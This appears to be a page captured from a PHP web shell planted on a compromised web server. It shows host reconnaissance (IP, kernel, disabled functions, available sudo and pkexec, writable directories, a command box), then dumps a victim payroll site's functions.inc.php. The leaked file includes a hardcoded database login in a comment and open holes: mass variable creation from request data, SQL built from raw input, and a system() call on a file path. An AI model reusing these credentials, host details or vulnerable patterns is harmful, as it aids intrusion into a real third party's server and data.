X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.149.24.70
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/payroll/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/payroll/include/functions.inc.php
<?php 

function is_login($msg='')		// Site Validation

{

	global $sess_user_id ;

	$_SESSION['myCheck'] = $_SERVER['REQUEST_URI'] ;

	

	if($sess_user_id == '')

	{

		if($msg != '')

		{

			$_SESSION['sess_msg'] = $msg ; 

		}

		else

		{

			$_SESSION['sess_msg'] = " Please login to access site. "; 		

		}

		header("location: login.php");

		exit();

	}

}



function redirect($url, $message="", $delay=0) {

	echo "<meta http-equiv='Refresh' content='$delay; url=$url'>";

	if (!empty($message))

	 echo "<div style='font-family: Arial, Sans-serif; font-size: 12pt;' align=center>$message</div>";

	die;

}

function require_user_admin() {

	global $CONFIG,$_SESSION;

	if (!$_SESSION["userLoggedIn"]) {

		$_SESSION['sess_msg'] = "Please sign in to use user's control panel";

		redirect("$CONFIG->url/index.php","Please sign in to use user's control panel",1);

	}

}

function format_date($ftime)

{

	$format="%d %B %Y";

	return(strftime($format,$ftime));    

} // end func dateNow



/*

function send_mail($email_to,$subject,$message,$from_email='service@gradjobs.com',$from_name='gradjobs.com',$html=false,$attachment='')

{

	if(trim($from_name) == '') $from_name=$from_email;

	if($html==true) $headers = "Content-type: text/html; charset=iso-8859-1\r\n";

	else $headers = "Content-type: text/plain; charset=iso-8859-1\r\n";

	$headers .= "From: $from_name <$from_email>";

	if($attachment!="") {

		$headers .="Content-Disposition: attachment; filename='./attach_files/".$attachment."'";

	}

	mail($email_to, $subject, stripslashes($message), $headers);

	//mail("deepak@gmail.com", $subject, stripslashes($message), $headers);

	//echo("<br>$email_to <br>, $subject, stripslashes($message), $headers") ;

}

*/

function generateCountryCombo($class='',$selectedValue = '',$comboName='countryid') {

	if (empty($countryRs)) {

		$sql = "Select * from site_country order by country_name";

		$countryRs = executeQuery($sql);

	}

	$country_com="<select name='$comboName'";

	if($class != ''){

		$country_com.="class='$class'>";

	}else{

		$country_com.=">";

	}

	$country_com.="<option value='' selected>-------Select Country--------</option>";

		while ($countries = mysql_fetch_array($countryRs)) {

			if ($selectedValue == $countries["country_name"]) {

				$selectedText = "selected";

			}else{

				$selectedText = '';

			}

		$country_com.="<option value='$countries[country_name]' $selectedText > $countries[country_name] </option>";

	}

	$country_com.="</select>";

	return $country_com ;

}

function yearCombo($name='',$start_year='',$end_year='',$class,$selected='')

{

	if($name == ''){

		$name = "year_combo";

	}

	if($end_year==""){

		$end_year=date(Y);

	}

	$ycombo="<select name='$name' class='$class'>";

	$ycombo.="<option value=''>Year</option>";

	for($i=$end_year;$i>=$start_year;$i--){ 

		$ycombo.="<option value='$i' " ;

		if($i==$selected){  

			$ycombo.= "selected";  

		} 

		$ycombo.="> $i </option>";

	} 

	$ycombo.="</select>";

return $ycombo ;

} 

function dateCombo($name='',$class,$selected=''){ 

	if($name == ''){

		$name = "date_combo";

	}

	$dcombo="<select name='$name' class='$class'>";

	$dcombo.="<option value=''>Day</option>";

	for($i=1;$i<=31;$i++){ 

	$day_val=date("d",mktime(0,0,0,1,$i,date("Y")));

		$dcombo.="<option value='$day_val' "; 

		if(abs($i)==$selected) { 

			$dcombo.="selected ";

		} 

		$dcombo.=">$i</option>";

	} 

	$dcombo.="</select>";

	return $dcombo ;

} 



function monthCombo($name='',$class,$selected='')

{

	if($name == ''){

		$name = "month_combo";

	}

	//$j=$start_month;

	$mcombo="<select name='$name' class='$class'>";

	$mcombo.="<option value=''>Month</option>";

	for($i=1;$i<=12;$i++){ 

		$mon=date("M",mktime(0,0,0,$i,1,date("Y")));

		$mon_val=date("m",mktime(0,0,0,$i,1,date("Y")));

		$mcombo.="<option value='$mon_val' ";

		if($mon_val==$selected) { 

			$mcombo.="selected "; 

		} 

		$mcombo.=">$mon</option>";

	}

	$mcombo.="</select>";

	return $mcombo ;

} 



function hourCombo($name='',$class,$selected=''){ 

	if($name == ''){

		$name = "date_combo";

	}

	$dcombo="<select name='$name' class='$class'>";

	$dcombo.="<option value=''>Hours</option>";

	for($i=1;$i<=12;$i++){ 

	$day_val=date("d",mktime(0,0,0,1,$i,date("Y")));

		$dcombo.="<option value='$day_val' "; 

		if(abs($i)==$selected) { 

			$dcombo.="selected ";

		} 

		$dcombo.=">$i</option>";

	} 

	$dcombo.="</select>";

	return $dcombo ;

} 

function minCombo($name='',$class,$selected=''){ 

	if($name == ''){

		$name = "min_combo";

	}

	$dcombo="<select name='$name' class='$class'>";

	$dcombo.="<option value=''>Min</option>";

	for($i=0;$i<=59;$i++){ 

	$min_val=date("i",mktime(0,$i,0,1,1,date("Y")));

		$dcombo.="<option value='$min_val' "; 

		if($min_val==$selected) { 

			$dcombo.="selected ";

		} 

		$dcombo.=">$min_val</option>";

	} 

	$dcombo.="</select>";

	return $dcombo ;

} 

function timeCombo($prefix='',$class,$selected=''){ 

	if($prefix == '')

	{

		$m_name = "min_combo";

		$s_name = "sec_combo";

	}

	else

	{

		$m_name = $prefix."_min";

		$s_name = $prefix."_sec";

	}

	if($selected != '')

	{

		list($hou_sel,$min_sel,$sec_sel) = explode(":",$selected);

	}

	$tmcombo="<select name='$m_name' class='$class'>";

	$tmcombo.="<option value=''>Minutes</option>";

	for($i=0;$i<=59;$i++){ 

	$min_val=date("i",mktime(0,$i,0,1,1,date("Y")));

		$tmcombo.="<option value='$min_val' "; 

		if($min_val==$min_sel) { 

			$tmcombo.="selected ";

		} 

		$tmcombo.=">$min_val</option>";

	}

	$tmcombo.="</select> Minutes ";

	$tscombo="<select name='$s_name' class='$class'>";

	$tscombo.="<option value=''>Seconds</option>";

	for($i=0;$i<=59;$i++){ 

	$min_val=date("i",mktime(0,$i,0,1,1,date("Y")));

		$tscombo.="<option value='$min_val' "; 

		if($min_val==$sec_sel) { 

			$tscombo.="selected ";

		} 

		$tscombo.=">$min_val</option>";

	}

	$tscombo.="</select> Seconds ";

	return $tmcombo.$tscombo ;

} 



function displayTime($tmp)

{

	list($t_h,$t_m,$t_s) = explode(":",$tmp);

	if($t_m < '10' && $t_m != '00' )

	{

		$t_m = substr($t_m,1);

	}

	return $t_m.":".$t_s ;

}



function uploadFile($PATH,$FILENAME,$FILEBOX)

{

	$uploaded="TRUE";

	global $HTTP_POST_FILES;

    if (! @file_exists($file))

    {

		if ( isset( $HTTP_POST_FILES[$FILEBOX] ) )

        {

			if (is_uploaded_file($HTTP_POST_FILES[$FILEBOX]['tmp_name']))

            {

	           if(!copy($HTTP_POST_FILES[$FILEBOX]['tmp_name'], $PATH.$FILENAME)) {

				print "Error in Uploading.";

				exit;

			   }

            }else{

		    }

        }

    } //end of if @fileexists

}

function IMGresize($newWidth,$newHeight, $targetFile, $originalFile) {



    $info = getimagesize($originalFile);

    $mime = $info['mime'];



    switch ($mime) {

            case 'image/jpeg':

                    $image_create_func = 'imagecreatefromjpeg';

                    $image_save_func = 'imagejpeg';

                    $new_image_ext = 'jpg';

                    break;



            case 'image/png':

                    $image_create_func = 'imagecreatefrompng';

                    $image_save_func = 'imagepng';

                    $new_image_ext = 'png';

                    break;



            case 'image/gif':

                    $image_create_func = 'imagecreatefromgif';

                    $image_save_func = 'imagegif';

                    $new_image_ext = 'gif';

                    break;



            default: 

                    throw Exception('Unknown image type.');

    }



    $img = $image_create_func($originalFile);

    list($width, $height) = getimagesize($originalFile);



    //$newHeight = ($height / $width) * $newWidth;

    $tmp = imagecreatetruecolor($newWidth, $newHeight);

    imagecopyresampled($tmp, $img, 0, 0, 0, 0, $newWidth, $newHeight, $width, $height);



    if (file_exists($targetFile)) {

            unlink($targetFile);

    }

    $image_save_func($tmp, "$targetFile");

}

function resizeImg($imgPath, $maxWidth, $maxHeight, $directOutput = false, $quality = 90, $verbose,$imageType)

{

   // get image size infos (0 width and 1 height,

   //     2 is (1 = GIF, 2 = JPG, 3 = PNG)

     $size = getimagesize($imgPath);

   // break and return false if failed to read image infos

     if(!$size){

       if($verbose && !$directOutput)echo "<br />Not able to read image infos.<br />";

       return false;

     }

   // relation: width/height

     $relation = $size[0]/$size[1];

   // maximal size (if parameter == false, no resizing will be made)

     $maxSize = array($maxWidth?$maxWidth:$size[0],$maxHeight?$maxHeight:$size[1]);

   // declaring array for new size (initial value = original size)

     $newSize = $size;

   // width/height relation

     $relation = array($size[1]/$size[0], $size[0]/$size[1]);

	if(($newSize[0] > $maxWidth))

	{

		$newSize[0]=$maxSize[0];

		$newSize[1]=$newSize[0]*$relation[0];

	}

	if(($newSize[1] > $maxHeight))

	{

		$newSize[1]=$maxSize[1];

		$newSize[0]=$newSize[1]*$relation[1];

	}

    // create image

       switch($size[2])

       {

         case 1:

           if(function_exists("imagecreatefromgif"))

           {

             $originalImage = imagecreatefromgif($imgPath);

           }else{

             if($verbose && !$directOutput)echo "<br />No GIF support in this php installation, sorry.<br />";

             return false;

           }

           break;

         case 2: $originalImage = imagecreatefromjpeg($imgPath); break;

         case 3: $originalImage = imagecreatefrompng($imgPath); break;

         default:

           if($verbose && !$directOutput)echo "<br />No valid image type.<br />";

           return false;

       }

     // create new image

       $resizedImage = imagecreatetruecolor($newSize[0], $newSize[1]); 

       imagecopyresampled($resizedImage, $originalImage,0, 0, 0, 0,$newSize[0], $newSize[1], $size[0], $size[1]);

	$rz=$imgPath;

     // output or save

       if($directOutput)

		{

         imagejpeg($resizedImage);

		 }

		 else

		{

			global $FILE_PATH ;

			 $rz=preg_replace("/\.([a-zA-Z]{3,4})$/","".$imageType,$imgPath);

			 $rz = "../images/category/".$imageType  ;

         imagejpeg($resizedImage, $rz, $quality);

         }

     // return true if successfull

       return $rz;

}

function getEmailNotice($name='',$class='',$selected='')

{

	global $arrEmailNotice;

	if($name == '')

	{

		$name="EmailNotice[]";

	}

	$retChkBox = "";

	foreach($arrEmailNotice as $key=>$value)

	{

		$retChkBox.="<input type='checkbox' name='$name' value='$key' ";

		if(count($selected) > 0 && in_array($key,$selected) )

		{

			$retChkBox.=" checked";

		}

		$retChkBox.="> $value ";

	}

	return $retChkBox ;

}



function mailTemplateCombo($name='',$class='',$selected='')

{

	if($name == '')

	{

		$name = "smail_template";

	}

	$sql=" select * from site_mail_template ";

	$result = executeQuery($sql);

	$qcData = "<select name='$name' size='1' class='$class'>";

	while($row = mysql_fetch_array($result))

	{

		$qcData.="<option value='$row[0]'" ;

		if($selected == $row[0])

		{

			$qcData.=" selected" ;

		}

		$qcData.=">$row[e_template]</option>" ;

	}

	$qcData.="</select>";

	return $qcData ;

}



function sortByCombo($name='',$class='',$selected='')

{

	global $arrSortBy ;

	if($name == '')

	{

		$name = "sortBy";

	}

	$fcombo="<select name='$name' class='$class'>";

	$fcombo.="<option value=''>Sort By</option>";

	foreach($arrSortBy as $key=>$value)

	{

		$fcombo.="<option value='$key' "; 

		if($selected == $key) 

		{ 

			$fcombo.="selected ";

		} 

		$fcombo.=">$value</option>";

	}

	$fcombo.="</select>";

	return $fcombo ;

}



function showImage($imzName)

{

	 if($imzName != '' )

	 {

		 list($width, $height, $type, $attr) = @getimagesize($imzName);

		 $w = $width + 70;

		 $h = $height + 30;

		 print("<a href=\"javascript: void(window.open('photo_enlarge.php?img=$imzName','mywin','left=40,top=20,width=$w,height=$h,toolbar=0,resizable=1'))\"><img src=\"".$imzName."\" style=\"border-width:1px; border-color:#990000\" alt='' height='50' width='50'></a>");

	 }

	 else

	{ 

		 print('<img src="images/noimage.gif" alt="Image Not Available" width="68" height="109" style=\"border-width:1px; border-color:#000000\">');

	 }

}

function getUsername($id)

{

	$result = mysql_query("SELECT * FROM site_user WHERE id='".$id."'") ;

	$line = mysql_fetch_array($result);

	return $line['Username'];

} 

/*function date_format($date)

{

	if($date != '')

	{

		$tmp = date("d M Y",strtotime($date));

		return $tmp ;

	}

}*/

function diskUses($userId)

{

	$totalFileSize = 0;

	$checkSql = "SELECT *FROM site_user_video  WHERE user_id ='".$userId."'";

	$checkRes = mysql_query($checkSql);

	while($checkRow = mysql_fetch_array($checkRes))

	{

		$file = "photo/".$checkRow['video_photo'];

		$totalFileSize = $totalFileSize + @filesize($file);

		$file1 = "video/".$checkRow['video_photo'];

		$totalFileSize = $totalFileSize + @filesize($file1);		

	}

    $checkSql = "SELECT *FROM site_user_photo  WHERE user_id ='".$userId."'";

	$checkRes = mysql_query($checkSql);

	while($checkRow = mysql_fetch_array($checkRes))

	{

		$file = "photo/".$checkRow['photo'];

		$totalFileSize = $totalFileSize + @filesize($file);

	}

	$a = array("Byte", "KB", "MB", "GB", "TB", "PB");

    $pos = 0;

	$size = totalFileSize;

    while ($size >= 1024) {

           $size /= 1024;

           $pos++;

    }

	if($totalFileSize >= 5120)

	{

		$arr[0] = round($totalFileSize,2)." ".$a[$pos];

		$sub = 5120 - $totalFileSize;

		$arr[1] = round($sub,2)." ".$a[$pos]; 

		$arr[2] = 12;		

	}

	else

	{

		$arr[0] = round($totalFileSize,2)." ".$a[$pos];

		$sub = 5120 - $totalFileSize;

		$arr[1] = round($sub,2)." ".$a[$pos]; 

	}

	return $arr;	

}

/*class functions{

	function connect_db()

	{

	    if($_SERVER['HTTP_HOST'] == 'localhost'){ 

			mysql_connect("localhost","root","");

			mysql_select_db("new_acmesoftsolution");

		}else{

			mysql_connect("mysql165.secureserver.net","acmesoftadmin","acmesoftadmin");

			mysql_select_db("acmesoftadmin");

		}			

	}*/

function run_query($q)

{

	$this->connect_db();

	$res=mysql_query($q);

	return $res;

}

function no_of_row($query)

{

	$this->connect_db();

	$res=mysql_query($query);

	return mysql_num_rows($res);

}



function fetch_row($res)

{

	$this->connect_db();

	return mysql_fetch_array($res);

}

#send mail function

function send_Mail($email_to,$subject,$message,$from_email,$from_name,$cc,$bcc,$html=false)

{

	  $this->connect_db();

	 if(trim($from_name) == '') $from_name=$from_email;

	 if($html==true) $headers = "Content-type: text/html; charset=iso-8859-1\r\n";

	 else $headers = "Content-type: text/plain; charset=iso-8859-1\r\n";

	 $headers .= "From: $from_name <$from_email>";

	 $headers .= "Cc:$cc";

	$headers .= "BCc:$bcc";

	 $link=mail($email_to, $subject, stripslashes($message), $headers);

	 return $link;

}

function sendMail($to,$subject,$matter,$from_name,$from,$html_en)

{

	if($html_en==1)

	{

		$headers = "From: $from_name <$from> \r\nContent-type: text/html; charset=iso-8859-1\r\n";

	}

	else

	{

		$headers = "From: $from_name <$from> \r\n";

	}

	if(mail($to,$subject,$matter,$headers))

	{

		return true;

	}

	else

	{

		return false;

	}

}

function sendMailadmin($to,$subject,$matter,$from,$html_en)

{

	if($html_en==1)

	{

		$headers = "From: $from \r\nContent-type: text/html; charset=iso-8859-1\r\n";

	}

	else

	{

		$headers = "From: $from  \r\n";

	}

	if(mail($to,$subject,$matter,$headers))

	{

		return true;

	}

	else

	{

		return false;

	}

}

foreach($_POST as $key=>$val) {

 $$key=$val; 

}

foreach($_GET as $key=>$val) {

	$$key=$val; 

}

foreach($_SERVER as $key=>$val) {

	$$key=$val;

}

//------------function to resize image -------------------

 function image_resize($imagepath,$maxw,$maxh)

{

if(file_exists($imagepath))

{

$real_path = realpath($imagepath);

$img_arr=getimagesize($real_path);

$w=$img_arr[0];

$h=$img_arr[1];

if(!isset($maxw) || $maxw=="")

{

	$maxw=$w;

}

if(!isset($maxh) || $maxh=="")

{

	$maxh=$h;

}

 $current_ratio=$w/$h;

 $target_ratio=$maxw/$maxh;

if($current_ratio > $target_ratio)

{

    $strwidth=$maxw;   

	 $strheight=$strwidth/$current_ratio; 

}	

else

{

	 $strheight=$maxh;	

	$strwidth=($strheight*$current_ratio);

}

//echo $imagepath;

$image_resize="<img src='$imagepath' width='$strwidth' height='$strheight' border=0 align=top>";

}

else

{

	$image_resize="<img src='images/nophoto.gif' width='100' height='100' border=0 align=top>";

}

return $image_resize;

}

//1.---------function find and replace all------------

/*

	original string   --   $str="hi how are you?;"

	find "what" and replace with "where"

	$str=str_replace_all("what","where",$str);

	new string         --  $str="hi where are you";

function str_replace_all($find,$replace,$string)

{

   $parts = explode( strtolower($find), strtolower($string) );

   $pos = 0;

   foreach( $parts as $key=>$part )

   {

       $parts[ $key ] = substr($string, $pos, strlen($part));

      $pos += strlen($part) + strlen($find);

   }

  return(join($replace,$parts));

}

*/

//---------end of function find and replace----------



//2.---------function to delete a file from the folder----------

function delete_file($file){ 

  $delete = @unlink($file); 

  clearstatcache();

  if (@file_exists($file)) { 

     $filesys = eregi_replace("/","\\",$file); 

     $delete = @system("del $filesys");

    clearstatcache();

     if (@file_exists($file)) { 

        $delete = @chmod ($file, 0775); 

        $delete = @unlink($file); 

      $delete = @system("del $filesys");

     }

  clearstatcache();

  if (@file_exists($file)){

     return false;

     }

     else{

           return true;

          }

} 

}

function deltree($folderpath,$foldername)

	{

	if($foldername!="")

	{

	if($folderpath!="")

	{

  	$mydirectory = opendir($folderpath);

  	while($entryname=readdir($mydirectory))

  	{

    	switch(true)

		{

      	case ($entryname==".")               : break;

      	case ($entryname=="..")              : break;

      	case (is_dir($folderpath."/".$entryname)): deltree($folderpath."/".$entryname); break;

      	default                              : unlink ($folderpath."/".$entryname);

    	}

  	}

  	closedir($mydirectory);

  	rmdir($folderpath);

	}

	}

	}

	function deltree1($branch)

        {

          $mydirectory = opendir($branch);

          while($entryname=readdir($mydirectory))

             {

                  switch(true)

                        {

                      case ($entryname==".")               : break;

                      case ($entryname=="..")              : break;

                      case (is_dir($branch."/".$entryname)): deltree1($branch."/".$entryname); break;

                      default                              : unlink ($branch."/".$entryname);

                    }

                  }

          closedir($mydirectory);

          rmdir($branch);

        }

//---------end of function to delete a folder and it's contents----------



//5.--------- function to destroy a session----------------

function session_clear()

{ 

 $exists = "no"; 

 $session_array = explode(";",session_encode()); 

 for ($x = 0; $x < count($session_array); $x++)

 { 

   $name  = substr($session_array[$x], 0, strpos($session_array[$x], "|")); 

   if (session_is_registered($name))

   { 

     session_unregister('$name'); 

     $exists = "yes"; 

   }

 } 

if ($exists != "no")

{

  session_destroy(); 

} 

}

//---------end of function to destroy a session----------------



 //------------function to resize image -------------------

/*

 function image_resize($imagepath,$maxw,$maxh)

{

if(file_exists($imagepath))

{

$real_path = realpath($imagepath);

$img_arr=getimagesize($real_path);

$w=$img_arr[0];

$h=$img_arr[1];

if(!isset($maxw) || $maxw=="")

{

	$maxw=$w;

}

if(!isset($maxh) || $maxh=="")

{

	$maxh=$h;

}

$current_ratio=$w/$h;

$target_ratio=$maxw/$maxh;

if($current_ratio > $target_ratio)

{

    $strwidth=$maxw;   

	$strheight=$strwidth/$current_ratio; 

}	

else

{

	$strheight=$maxh;	

	$strwidth=($strheight*$current_ratio);

}

//echo $imagepath;

$image_resize="<img src='$imagepath' width='$strwidth' height='$strheight' border=0 align=top>";

}

else

{

	$image_resize="<img src='images/nophoto.gif' width='100' height='100' border=0 align=top>";

}

return $image_resize;

}

 //--------------------------------------------------------

 //--------copy and paste directory------------------------

 function copypaste_dir($origin_dir,$destination_dir)

{

	$handle=opendir($origin_dir);

	while ($file = readdir($handle))

	{

  		if ($file == "." || $file == "..")

		{ }

		else

		{

			copy($origin_dir."/".$file, $destination_dir."/".$file);

		}

	}

}

 //--------------------------------------------------------

 function DateAdd($interval,$number,$date)

  {

	The syntax is DateAdd(interval,number,date)

		intervals are

		y   year

		m	Month

		d	Day

    $date_time_array  = explode("-",$date);;

	$year=$date_time_array[0];

	$month=$date_time_array[1];

	$day=$date_time_array[2];

    switch ($interval)

	{

        case "y":

            $year +=$number;

            break;        

        case "m":

            $month +=$number;

            break;        

        case "d":

             $day+=$number;

            break;        

     }    

	$timestamp =  mktime(0 ,0, 0,$month ,$day, $year);

	$datereturned=date("Y-m-d",$timestamp);

    return $datereturned;

}*/

//----------------remove extra spaces from the string----------

/*function remove_extra_spaces($string)

{

   $parts = explode(" ",$string);

   $pos = 0;

   $stringreturned="";

   foreach( $parts as $key=>$part )

   {

      $parts[$key] = substr($string, $pos, strlen($part));

       $pos+= strlen($part)+1;

	   if(trim($parts[$key])!="")

	   {

		 $stringreturned.=trim($parts[$key]);

		 $stringreturned.=" ";

	   }

   }

   return trim($stringreturned);

}*/

//----------------end of remove extra spaces from the string----------

/*

function random_password($length) 

{

	$rstr = "ab0cd1ef2gh3ij4kl5mn6op7qr8st9uv0wx1yz2AB3CD4EF5GH6IJ7KL8MN9OP0QR1ST2UV3WX4YZ0123456789";

	$nstr = "";

	mt_srand ((double) microtime() * 1000000);

	while(strlen($nstr) < $length) {

	$random = mt_rand(0,strlen($rstr));

	$nstr .= $rstr{$random};

	}

	return($nstr);

}

*/

//---------------------------------------------------------

/*function no_of_day_in_month($month,$year)

{

	if ($month== 1 || $month==3 || $month == 5 || $month == 7 || $month == 8 || $month == 10 || $month == 12)

	{

		$daysinmonth="31";

	}

	elseif ($month == 4 || $month == 6 || $month == 9 || $month == 11)

	{

		$daysinmonth="30";

	}	

	elseif ($month == 2)

	{

		if (($year % 400==0) || (!($year % 100==0 && $year % 4==0)) && ($year % 4==0))

		{

		 	$daysinmonth="29";

		}

		else

		{	

			$daysinmonth="28";

		}

	}

	return $daysinmonth;

}	*/			

//---------------------------------------------------------



/*

function EmailToSend($id,$num,$to,$html_en)

{

	$sql_mail="select * from emails where e_id=$num";

	$rs_mail=mysql_query($sql_mail) or die("database error1");

	$cnt_mail=mysql_num_rows($rs_mail);

	if($cnt_mail!=0)

	{

	$billMatter=trim(mysql_result($rs_mail,0,"email_message"));

	$billMatter=message_for_particular_user($id,$billMatter);

	$subject=trim(mysql_result($rs_mail,0,"subject"));

	$from=trim(mysql_result($rs_mail,0,"from_email"));

	}

	else

	{

	$billMatter="";

	$subject="";

	$from="";

	} 

	sendMail($to,$subject,$billMatter,$from,$html_en);

}*/

function curPageURL() {

 $pageURL = 'http';

 if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}

 $pageURL .= "://";

 if ($_SERVER["SERVER_PORT"] != "80") {

  $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];

 } else {

  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];

 }

 return $pageURL;

}

function curPageName() {

 return substr($_SERVER["SCRIPT_NAME"],strrpos($_SERVER["SCRIPT_NAME"],"/")+1);

}

function clean($string) {

   $string = str_replace('', '-', $string); // Replaces all spaces with hyphens.

   return preg_replace('/[^A-Za-z0-9\-]/', '', $string); // Removes special chars.

}

function CroppedThumbnail($imgSrc,$thumbnail_width,$thumbnail_height) { //$imgSrc is a FILE - Returns an image resource.

    //getting the image dimensions 

    list($width_orig, $height_orig) = getimagesize($imgSrc);  

    $myImage = imagecreatefromjpeg($imgSrc);

    $ratio_orig = $width_orig/$height_orig;

    if ($thumbnail_width/$thumbnail_height > $ratio_orig) {

       $new_height = $thumbnail_width/$ratio_orig;

       $new_width = $thumbnail_width;

    } else {

       $new_width = $thumbnail_height*$ratio_orig;

       $new_height = $thumbnail_height;

    }

    $x_mid = $new_width/2;  //horizontal middle

    $y_mid = $new_height/2; //vertical middle

    $process = imagecreatetruecolor(round($new_width), round($new_height));

    imagecopyresampled($process, $myImage, 0, 0, 0, 0, $new_width, $new_height, $width_orig, $height_orig);

    $thumb = imagecreatetruecolor($thumbnail_width, $thumbnail_height);

    imagecopyresampled($thumb, $process, 0, 0, ($x_mid-($thumbnail_width/2)), ($y_mid-($thumbnail_height/2)), $thumbnail_width, $thumbnail_height, $thumbnail_width, $thumbnail_height);

   imagedestroy($process);

    imagedestroy($myImage);

    return $thumb;

}

?>

Anon7 - 2022
SCDN GOK